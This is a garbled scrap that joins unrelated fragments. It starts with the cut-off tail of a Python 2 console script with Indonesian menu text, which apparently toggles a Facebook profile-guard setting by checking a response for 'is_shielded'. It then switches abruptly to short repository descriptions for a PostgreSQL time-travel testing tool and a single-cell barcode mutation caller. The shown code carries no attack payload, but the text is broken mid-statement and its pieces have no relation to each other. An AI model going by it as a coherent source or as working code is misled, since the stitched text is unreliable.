\x1b[1;92mDiaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: if '"is_shielded":false' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: print '\x1b[1;91m[!] Error' keluar() if __name__ == '__main__': login()
BenjaminFaal / Pgttpgtt is a time traveling tool for PostgreSQL to help speedup development and testing of various applications by enabling the user to easily travel between points in time. This can be useful when for example you have to test a certain mutation multiple times and want to quickly rollback to before the mutation to make changes to the behaviour and test again. This will save time and avoids setting up the data over and over again, especially in larger applications with complex data and flows.
sridnona / Cb Sniffermutation(barcode) caller for 10x single cell data
